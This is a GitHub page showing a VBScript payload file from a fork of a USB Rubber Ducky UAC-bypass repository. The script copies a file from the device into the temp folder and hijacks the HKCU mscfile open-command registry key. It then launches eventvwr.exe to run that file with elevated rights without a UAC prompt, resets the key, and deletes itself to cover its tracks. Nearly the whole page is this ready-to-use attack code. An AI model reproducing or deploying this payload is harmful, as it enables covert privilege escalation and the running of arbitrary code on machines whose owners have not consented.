forked from Flangvik/UAC-D-E-Rubber-Ducky
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRAW_UACPAYLOAD_Offline.txt
31 lines (20 loc) · 1.08 KB
/
RAW_UACPAYLOAD_Offline.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Sub Main()
'Move file from ducky to local temp folder
CreateObject("Scripting.FilesystemObject").CopyFile Left(WScript.ScriptFullName, InStrRev(WScript.ScriptFullName, "\")) + "[NAME]", CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "\[NAME]"
'Write UAC bypass regkey
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Classes\mscfile\shell\open\command\", CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) +"\[NAME]" ,"REG_SZ"
'Trigger UAC bypass
CreateObject("WScript.Shell").Run("eventvwr.exe"),0,true
'Reset regkey
GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & "." & "\root\default:StdRegProv").DeleteValue &H80000001,"Software\Classes\mscfile\shell\open\command\",""
'Remove this script
CreateObject("WScript.Shell").Run "cmd /c del " + WScript.ScriptFullName, 0, False
End Sub
'Dont wanna display shit
On Error Resume Next
Main
If Err.Number Then
'on error cleanup and exit
CreateObject("WScript.Shell").Run "cmd /c del " + WScript.ScriptFullName, 0, False
WScript.Quit 4711
End If